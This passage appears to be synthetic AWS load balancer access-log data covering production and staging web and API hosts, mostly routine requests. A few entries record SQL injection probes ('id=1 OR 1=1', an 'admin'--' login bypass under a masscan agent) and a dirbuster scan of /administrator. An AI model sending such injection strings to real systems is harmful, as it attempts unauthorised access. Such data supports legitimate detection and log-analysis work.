"GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c331-fdf8f0237a544b6083aa5f35" "staging-alb.example.com" "-" 0 2024-11-01T00:49:37.557106Z "forward" "-" "-" "238.183.230.38:80" "200" "-" "-" -https 2024-11-01T00:49:38.617071Z prod-web-alb 191.160.179.71:41976 10.0.113.83:443 0.090554 0.364641 0.051028 200 200 440 2645 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c332-1ece3e156c54472aa6cbd9b8" "prod-web-alb.example.com" "-" 4 2024-11-01T00:49:38.617071Z "forward" "-" "-" "10.0.113.83:443" "200" "-" "-" -https 2024-11-01T00:49:39.143913Z prod-api-alb 208.9.36.133:45714 10.0.169.16:443 0.073130 0.413307 0.095003 200 200 403 11900 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c333-2133404d7dee47f486f52cfb" "prod-api-alb.example.com" "-" 5 2024-11-01T00:49:39.143913Z "forward" "-" "-" "10.0.169.16:443" "200" "-" "-" -http 2024-11-01T00:49:40.203125Z staging-alb 221.194.40.95:36558 61.236.204.177:443 0.051680 0.192227 0.099057 200 200 622 11607 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c334-6cf348a86878454fa56922e7" "staging-alb.example.com" "-" 10 2024-11-01T00:49:40.203125Z "forward" "-" "-" "61.236.204.177:443" "200" "-" "-" -http 2024-11-01T00:49:41.945509Z staging-alb 115.160.236.57:60637 67.51.224.102:443 0.134292 0.473378 0.081843 200 200 187 13854 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c335-122c7ae705d7425db7e49f7a" "staging-alb.example.com" "-" 7 2024-11-01T00:49:41.945509Z "forward" "-" "-" "67.51.224.102:443" "200" "-" "-" -https 2024-11-01T00:49:43.474566Z prod-api-alb 158.230.7.1:63093 10.0.25.134:443 0.042338 0.430841 0.089040 200 200 905 2637 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c337-dafa942f887742dab54c33c3" "prod-api-alb.example.com" "-" 9 2024-11-01T00:49:43.474566Z "forward" "-" "-" "10.0.25.134:443" "200" "-" "-" -https 2024-11-01T00:49:44.641118Z prod-web-alb 151.19.236.172:14167 10.0.243.244:443 0.012103 0.433669 0.053930 200 200 435 7428 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c338-530946548b2f4893a7045511" "prod-web-alb.example.com" "-" 4 2024-11-01T00:49:44.641118Z "forward" "-" "-" "10.0.243.244:443" "200" "-" "-" -https 2024-11-01T00:49:45.133160Z prod-api-alb 140.21.104.95:46077 10.0.204.166:443 0.044773 0.325937 0.034883 200 200 860 7439 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c339-b1e407aad6804ec1aacd4da7" "prod-api-alb.example.com" "-" 2 2024-11-01T00:49:45.133160Z "forward" "-" "-" "10.0.204.166:443" "200" "-" "-" -http 2024-11-01T00:49:46.694368Z staging-alb 73.199.208.54:36829 107.222.53.218:8080 0.035603 0.013241 0.111770 301 301 740 305 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c33a-378df36e661d467b943e0aeb" "staging-alb.example.com" "-" 7 2024-11-01T00:49:46.694368Z "forward" "-" "-" "107.222.53.218:8080" "301" "-" "-" -https 2024-11-01T00:49:47.224005Z staging-alb 255.45.60.199:27304 171.28.210.197:8080 0.025377 0.354039 0.121548 404 404 678 10959 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c33b-33633a9323e244098c412fc8" "staging-alb.example.com" "-" 6 2024-11-01T00:49:47.224005Z "forward" "-" "-" "171.28.210.197:8080" "404" "-" "-" -https 2024-11-01T00:49:48.985747Z prod-web-alb 225.43.40.80:53771 10.0.194.42:443 0.041231 0.230741 0.069534 200 200 55 2656 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c33c-abea2cbb74a84f7daecffc6c" "prod-web-alb.example.com" "-" 8 2024-11-01T00:49:48.985747Z "forward" "-" "-" "10.0.194.42:443" "200" "-" "-" -https 2024-11-01T00:49:50.491837Z prod-api-alb 210.53.251.172:61269 10.0.170.157:443 0.081606 0.029801 0.071264 404 404 751 13754 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c33e-3da878dfcc3042a79e995f72" "prod-api-alb.example.com" "-" 7 2024-11-01T00:49:50.491837Z "forward" "-" "-" "10.0.170.157:443" "404" "-" "-" -https 2024-11-01T00:49:50.676699Z prod-web-alb 82.192.17.37:26573 10.0.72.222:443 0.032531 0.000480 0.002172 200 200 281 11030 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c33e-c615ccc1e1cd4b119f97b2a8" "prod-web-alb.example.com" "-" 2 2024-11-01T00:49:50.676699Z "forward" "-" "-" "10.0.72.222:443" "200" "-" "-" -https 2024-11-01T00:49:51.058341Z prod-web-alb 168.202.72.208:64337 10.0.234.25:443 0.032481 0.323417 0.093771 301 301 104 10501 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c33f-dd12c6c9db904a6c966e5074" "prod-web-alb.example.com" "-" 8 2024-11-01T00:49:51.058341Z "forward" "-" "-" "10.0.234.25:443" "301" "-" "-" -https 2024-11-01T00:49:52.166574Z prod-api-alb 156.217.41.243:32051 10.0.152.208:443 0.065130 0.217131 0.056155 200 200 130 13924 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c340-4a559950848a45a6bd0e5841" "prod-api-alb.example.com" "-" 6 2024-11-01T00:49:52.166574Z "forward" "-" "-" "10.0.152.208:443" "200" "-" "-" -https 2024-11-01T00:49:53.488519Z prod-web-alb 254.126.86.107:31142 10.0.166.19:443 0.078659 0.022588 0.024190 200 200 313 7249 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c341-168288ac79a9447dbd781a1b" "prod-web-alb.example.com" "-" 2 2024-11-01T00:49:53.488519Z "forward" "-" "-" "10.0.166.19:443" "200" "-" "-" -https 2024-11-01T00:49:54.457620Z staging-alb 230.26.205.208:54861 141.198.95.188:443 0.001802 0.698243 0.099682 200 200 791 2961 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c342-9b48cfa0c27c462f949810c6" "staging-alb.example.com" "-" 7 2024-11-01T00:49:54.457620Z "forward" "-" "-" "141.198.95.188:443" "200" "-" "-" -https 2024-11-01T00:49:55.507445Z prod-api-alb 17.190.144.125:58706 10.0.242.99:443 0.095197 0.141951 0.023485 200 200 216 4282 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c343-dc421664462a40928e7db85e" "prod-api-alb.example.com" "-" 7 2024-11-01T00:49:55.507445Z "forward" "-" "-" "10.0.242.99:443" "200" "-" "-" -https 2024-11-01T00:49:55.879587Z prod-web-alb 132.130.206.149:33117 10.0.175.232:443 0.025511 0.016877 0.036929 302 302 295 1641 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c343-04442b531ea541e599f16249" "prod-web-alb.example.com" "-" 1 2024-11-01T00:49:55.879587Z "forward" "-" "-" "10.0.175.232:443" "302" "-" "-" -http 2024-11-01T00:49:56.535735Z staging-alb 31.195.5.69:57325 247.127.105.175:80 0.074030 0.097243 0.129152 301 301 656 5879 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c344-f940025c94134fa8bce7fc59" "staging-alb.example.com" "-" 2 2024-11-01T00:49:56.535735Z "forward" "-" "-" "247.127.105.175:80" "301" "-" "-" -http 2024-11-01T00:49:56.893365Z staging-alb 181.82.169.255:25538 123.189.240.185:443 0.119554 0.617529 0.043220 404 404 537 9919 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c344-bb2b8aa94ca64d80b01925ed" "staging-alb.example.com" "-" 5 2024-11-01T00:49:56.893365Z "forward" "-" "-" "123.189.240.185:443" "404" "-" "-" -https 2024-11-01T00:49:58.754359Z prod-api-alb 240.61.18.223:33437 10.0.23.252:443 0.024476 0.022198 0.091821 302 302 429 14340 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c346-49aeeb2109ec4549919a8804" "prod-api-alb.example.com" "-" 0 2024-11-01T00:49:58.754359Z "forward" "-" "-" "10.0.23.252:443" "302" "-" "-" -https 2024-11-01T00:49:59.712863Z prod-web-alb 205.108.211.112:12569 10.0.123.30:443 0.085046 0.015161 0.014439 200 200 111 9183 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c347-37bccdb6ee754043a9df1878" "prod-web-alb.example.com" "-" 9 2024-11-01T00:49:59.712863Z "forward" "-" "-" "10.0.123.30:443" "200" "-" "-" -https 2024-11-01T00:50:00.390151Z prod-api-alb 194.164.57.146:21986 10.0.101.224:443 0.057444 0.067128 0.091370 302 302 660 2557 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c348-f85ba89957d1428c9c89f304" "prod-api-alb.example.com" "-" 7 2024-11-01T00:50:00.390151Z "forward" "-" "-" "10.0.101.224:443" "302" "-" "-" -http 2024-11-01T00:50:01.810565Z staging-alb 207.40.162.4:52884 136.249.19.71:80 0.078978 0.565143 0.000418 200 200 218 3672 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c349-c6da9b77eaf1414ab4693b20" "staging-alb.example.com" "-" 10 2024-11-01T00:50:01.810565Z "forward" "-" "-" "136.249.19.71:80" "200" "-" "-" -http 2024-11-01T00:50:02.893712Z staging-alb 185.181.21.23:62523 18.128.19.8:8080 0.011666 0.068906 0.144839 403 403 264 6071 "POST /users?id=1 OR 1=1 HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c34a-58e79838b2a04419bbb49f39" "-" "-" 6 2024-11-01T00:50:02.893712Z "forward" "-" "-" "18.128.19.8:8080" "403" "-" "-" -https 2024-11-01T00:50:04.563286Z prod-web-alb 192.243.118.199:58565 10.0.240.222:443 0.027468 0.101036 0.048154 404 404 7 8953 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c34c-b87d83a67ed0457eaf147da1" "prod-web-alb.example.com" "-" 6 2024-11-01T00:50:04.563286Z "forward" "-" "-" "10.0.240.222:443" "404" "-" "-" -https 2024-11-01T00:50:05.193440Z prod-api-alb 185.181.76.214:45007 10.0.84.138:443 0.008059 0.498016 0.029198 500 500 658 12336 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c34d-610709c9661340fdb8af15db" "-" "-" 2 2024-11-01T00:50:05.193440Z "forward" "-" "-" "10.0.84.138:443" "500" "-" "-" -https 2024-11-01T00:50:06.103006Z prod-web-alb 209.12.96.6:40023 10.0.36.98:443 0.087371 0.310226 0.024506 200 200 780 12862 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c34e-672b993aa98941bf98f4cd17" "prod-web-alb.example.com" "-" 10 2024-11-01T00:50:06.103006Z "forward" "-" "-" "10.0.36.98:443" "200" "-" "-" -https 2024-11-01T00:50:07.606261Z staging-alb 248.146.9.231:54937 40.176.143.59:8080 0.080220 0.135157 0.087021 200 200 601 4558 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c34f-737cadf1c087406a859f4496" "staging-alb.example.com" "-" 5 2024-11-01T00:50:07.606261Z "forward" "-" "-" "40.176.143.59:8080" "200" "-" "-" -https 2024-11-01T00:50:09.116607Z prod-api-alb 111.246.126.161:57468 10.0.20.56:443 0.032433 0.084947 0.023043 404 404 102 1700 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c351-cc24804770b64f4b89a52c77" "-" "-" 2 2024-11-01T00:50:09.116607Z "forward" "-" "-" "10.0.20.56:443" "404" "-" "-" -https 2024-11-01T00:50:10.101087Z staging-alb 49.79.222.60:30054 34.235.133.81:8080 0.112752 0.316098 0.017636 301 301 886 13972 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c352-a12ff514cc7543e5bb1d92eb" "staging-alb.example.com" "-" 8 2024-11-01T00:50:10.101087Z "forward" "-" "-" "34.235.133.81:8080" "301" "-" "-" -https 2024-11-01T00:50:10.782083Z prod-api-alb 14.83.248.118:24923 10.0.240.19:443 0.064043 0.184679 0.076902 302 302 335 1912 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c352-8c8bbf111b1d4b27b2b71f01" "prod-api-alb.example.com" "-" 5 2024-11-01T00:50:10.782083Z "forward" "-" "-" "10.0.240.19:443" "302" "-" "-" -https 2024-11-01T00:50:11.489614Z staging-alb 156.93.233.243:40111 9.33.194.246:443 0.007079 0.019881 0.127874 404 404 49 1728 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c353-9cfca32674af4023837bb618" "staging-alb.example.com" "-" 9 2024-11-01T00:50:11.489614Z "forward" "-" "-" "9.33.194.246:443" "404" "-" "-" -https 2024-11-01T00:50:12.810578Z prod-api-alb 32.136.196.228:22706 10.0.143.15:443 0.049909 0.027233 0.092030 200 200 875 567 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c354-bb7b892c450e4260902aaec9" "prod-api-alb.example.com" "-" 7 2024-11-01T00:50:12.810578Z "forward" "-" "-" "10.0.143.15:443" "200" "-" "-" -https 2024-11-01T00:50:13.995519Z prod-web-alb 60.202.255.206:54419 10.0.143.128:443 0.026536 0.202858 0.042028 302 302 537 6149 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c355-ef10431bda0049fc99f306f0" "prod-web-alb.example.com" "-" 3 2024-11-01T00:50:13.995519Z "forward" "-" "-" "10.0.143.128:443" "302" "-" "-" -https 2024-11-01T00:50:14.328516Z prod-api-alb 76.217.100.90:44608 10.0.240.187:443 0.038383 0.387591 0.077057 200 200 302 8479 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c356-289f7a479d7541e6ba8b0ced" "prod-api-alb.example.com" "-" 4 2024-11-01T00:50:14.328516Z "forward" "-" "-" "10.0.240.187:443" "200" "-" "-" -https 2024-11-01T00:50:15.039301Z staging-alb 44.34.127.249:41499 21.150.247.197:80 0.147121 0.731551 0.145921 200 200 756 11499 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c357-cf458f5ec7a9409d972d2a1a" "staging-alb.example.com" "-" 10 2024-11-01T00:50:15.039301Z "forward" "-" "-" "21.150.247.197:80" "200" "-" "-" -https 2024-11-01T00:50:15.664298Z prod-api-alb 212.159.196.35:18072 10.0.80.119:443 0.036149 0.217636 0.094766 200 200 501 745 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c357-04fdf7b014664a8db09ee58d" "prod-api-alb.example.com" "-" 2 2024-11-01T00:50:15.664298Z "forward" "-" "-" "10.0.80.119:443" "200" "-" "-" -https 2024-11-01T00:50:16.563831Z prod-api-alb 178.1.175.34:28817 10.0.85.12:443 0.049005 0.095739 0.054781 200 200 15 5714 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c358-7ae1e17691604dd88bb5a666" "-" "-" 8 2024-11-01T00:50:16.563831Z "forward" "-" "-" "10.0.85.12:443" "200" "-" "-" -https 2024-11-01T00:50:18.325426Z prod-api-alb 122.60.215.214:24872 10.0.251.43:443 0.062844 0.154582 0.055671 301 301 873 9439 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c35a-b8c590c11eb24acfb9412f7e" "prod-api-alb.example.com" "-" 4 2024-11-01T00:50:18.325426Z "forward" "-" "-" "10.0.251.43:443" "301" "-" "-" -https 2024-11-01T00:50:19.017483Z staging-alb 120.124.145.192:58573 49.181.30.77:443 0.111385 0.239374 0.053800 200 200 891 261 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c35b-916c8964f3424f138e96d1d4" "staging-alb.example.com" "-" 0 2024-11-01T00:50:19.017483Z "forward" "-" "-" "49.181.30.77:443" "200" "-" "-" -https 2024-11-01T00:50:20.452280Z staging-alb 122.247.13.62:60852 202.151.34.182:8080 0.086708 0.654014 0.018950 200 200 994 12476 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c35c-d1a6e099ef60467eadc4d6db" "staging-alb.example.com" "-" 8 2024-11-01T00:50:20.452280Z "forward" "-" "-" "202.151.34.182:8080" "200" "-" "-" -http 2024-11-01T00:50:21.568396Z staging-alb 138.54.227.124:23934 149.243.147.228:443 0.134023 0.149233 0.036189 301 301 657 4178 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c35d-8ba8a09e85174c0a88999bb1" "staging-alb.example.com" "-" 2 2024-11-01T00:50:21.568396Z "forward" "-" "-" "149.243.147.228:443" "301" "-" "-" -https 2024-11-01T00:50:22.746360Z prod-web-alb 45.155.205.102:15552 10.0.101.150:443 0.094130 0.285758 0.051031 403 403 683 3428 "GET /administrator HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c35e-ff56714232af48798e7f71fe" "-" "-" 6 2024-11-01T00:50:22.746360Z "forward" "-" "-" "10.0.101.150:443" "403" "-" "-" -https 2024-11-01T00:50:24.307872Z prod-web-alb 8.145.5.79:44531 10.0.181.219:443 0.023142 0.166669 0.075052 200 200 495 1924 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c360-6c75131ea39d40de961aa170" "prod-web-alb.example.com" "-" 0 2024-11-01T00:50:24.307872Z "forward" "-" "-" "10.0.181.219:443" "200" "-" "-" -https 2024-11-01T00:50:25.597616Z prod-api-alb 245.44.58.57:55418 10.0.33.7:443 0.082587 0.280975 0.062174 200 200 238 10904 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c361-0e24fd2bc8934b80a01488e0" "prod-api-alb.example.com" "-" 0 2024-11-01T00:50:25.597616Z "forward" "-" "-" "10.0.33.7:443" "200" "-" "-" -https 2024-11-01T00:50:26.473517Z prod-api-alb 205.166.169.78:60036 10.0.249.11:443 0.086696 0.020340 0.025687 301 301 939 5054 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c362-f238020a3ed449639034f370" "prod-api-alb.example.com" "-" 4 2024-11-01T00:50:26.473517Z "forward" "-" "-" "10.0.249.11:443" "301" "-" "-" -https 2024-11-01T00:50:26.578099Z prod-web-alb 72.95.115.208:11649 